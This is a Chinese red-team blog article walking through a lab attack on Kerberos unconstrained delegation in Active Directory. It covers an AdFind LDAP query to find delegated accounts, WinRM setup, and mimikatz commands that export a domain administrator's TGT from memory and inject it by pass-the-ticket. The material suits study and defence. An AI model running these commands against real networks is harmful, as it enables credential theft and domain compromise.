域渗透之非约束委派原理和攻击手法

admin 2021年8月2日22:42:16评论133 views字数 2563阅读8分32秒阅读模式

渗透攻击红队

一个专注于红队攻击的公众号

域渗透之非约束委派原理和攻击手法


大家好,这里是 渗透攻击红队 的第 66 篇文章,本公众号会记录一些红队攻击的案例,不定时更新


域渗透之非约束委派原理和攻击手法
前言


域委派分为两种:约束委派、非约束委派,资源约束委派,今天这篇主要写非约束委派攻击。

也就是说:用户 A 去访问服务 B,服务 B 的服务账户开启了非约束委派,那么当用户 A 访问服务 B 的时候会将用户 A 的 TGT 发送给服务 B 并保存进内存,服务 B 能够利用用户 A 的身份去访问用户 A 能够访问到的任意服务。


非约束委派攻击

当前域环境


域控:motooadministrator(192.168.2.42)

域内主机(配置了非约束性委派):motoosaul(192.168.2.40)

首先创建一个非约束委派账户,注册 SPN:

setspn -U -A MSSQLSvc/mssql.motoo.nc:1433 saul

域渗透之非约束委派原理和攻击手法

然后需要把委派属性打开: 

域渗透之非约束委派原理和攻击手法

当服务账号或者主机被设置为非约束性委派时,其 userAccountControl 属性会包含 TRUSTED_FOR_DELEGATION

域渗透之非约束委派原理和攻击手法


域渗透之非约束委派原理和攻击手法


查找域内非约束委派用户和计算机


发现域内主机主机我一般是使用 LDAP,可以使用如下方式:

Adfind下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtm
Adfind 使用参数:AdFind [switches] [-b basedn] [-f filter] [attr list]-b:指定要查询的根节点-f:LDAP过滤条件attr list:需要显示的属性

例如需要查询当前域内的非约束委派用户:

AdFind.exe -b "DC=motoo,DC=nc" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

域渗透之非约束委派原理和攻击手法

可以看到 saul 这个用户就是域内非约束委派用户!

查找非约束委派用户的工具还有很多!例如 Adfind、ldapdomaindump、PowerView ... 等等,我最常用的只有 Adfind。


非约束委派攻击利用


域渗透之非约束委派原理和攻击手法

非约束委派:当 user 访问 service1 时,如果 service1 的服务账号开启了 unconstrained delegation(非约束委派),则当 user 访问 service1 时会将 user 的 TGT 发送给 service1 并保存在内存中以备下次重用,然后 service1 就可以利用这 张TGT 以 user 的身份去访问域内的任何服务(任何服务是指user能访问的服务)

流程如下:
用户向KDC请求可转发TGT,记为TGT1KDC返回TGT1用户通过TGT1向KDC请求转发TGT2KDC返回TGT2用户通过TGT1向KDC申请访问服务1的RSTKDC返回RST用户发送RST、TGT1、TGT2和TGT2的SessionKey给服务1服务1通过用户的TGT2请求KDC,以用户名义请求服务2的RST(服务访问票据)KDC给服务1返回服务2的RST服务1以用户名义向服务2发出请求服务2响应服务1的请求服务1响应用户第7步骤的请求这个流程有一个问题:TGT2是不被限制的,服务1完全可以用它来请求访问任何想访问的服务。攻击其实就是利用的这点,使用从高权限账户处得到的TGT去获取权限。
当前域:motoo.nc域控主机名:Motoo-DCSRVIP:192.168.2.42)、用户 motooadministratorwin2008域内主机名:Motoo-IISWEBIP:192.168.2.40)、用户 motoosaulwin2012 R2

在 Windows 系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的!现在我们将 Motoo-DBSRV 这个主机用户设置为非约束委派(注意是:主机用户而不是服务用户)

域渗透之非约束委派原理和攻击手法

当 Motoo-DBSRV 机器上设置了非约束委派。使用 dc 或者域管,去登录 Motoo-DBSRV ,可在 Motoo-DBSRV 上留存票据凭证,然后需要让域控模拟访问被设置了非约束委派的机器:

Enter-PSSession -ComputerName Motoo-IISWeb

域渗透之非约束委派原理和攻击手法

注意:如果遇到这种情况需要开启 wmirm 端口:(原因是 wmi 版本太老了,需要加 -Port 指定端口,老版本的 wmi 端口是 80)

域渗透之非约束委派原理和攻击手法

使用命令行打开 wmi 服务:(需要管理员权限):

WinRM QuickConfig  (y)

域渗透之非约束委派原理和攻击手法

又或者 services.msc 手动打开:

域渗透之非约束委派原理和攻击手法

配置好后查看是否有回显,如果有就说明开启成功了:

winrm enumerate winrm/config/listener

域渗透之非约束委派原理和攻击手法

域控模拟访问被设置了约束委派的机器后,这个时候其实域管理员的 TGT 已经缓存在Motoo-IISWeb 机器上了。先清除一下当前票据缓存:

mimikatz "privilege::debug" "kerberos::purge" "exit"

域渗透之非约束委派原理和攻击手法

然后我们就可以使用 mimikatz 即 dump 所有票据出来:

privilege::debug sekurlsa::tickets /export

域渗透之非约束委派原理和攻击手法

这个时候 [0;15ac7e][email protected] 就是域管理 administrator 的 TGT !

我们现在访问域控肯定是访问不了的:

域渗透之非约束委派原理和攻击手法

这个时候就就需要通过 ptt 将 TGT 注入到当前会话中:

kerberos::ptt [0;15ac7e][email protected]

域渗透之非约束委派原理和攻击手法

这个时候就能访问到域控了:

域渗透之非约束委派原理和攻击手法





参考文章:

https://skewwg.github.io/2020/11/25/yue-shu-wei-pai-li-yong/

https://xz.aliyun.com/t/7217#toc-5

https://blog.csdn.net/qq_41874930/article/details/110633298



域渗透之非约束委派原理和攻击手法

渗透攻击红队

一个专注于渗透红队攻击的公众号

域渗透之非约束委派原理和攻击手法



域渗透之非约束委派原理和攻击手法
点分享
域渗透之非约束委派原理和攻击手法
点点赞
域渗透之非约束委派原理和攻击手法
点在看

本文始发于微信公众号(渗透攻击红队):域渗透之非约束委派原理和攻击手法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月2日22:42:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域渗透之非约束委派原理和攻击手法https://cn-sec.com/archives/440846.html

发表评论

匿名网友 填写信息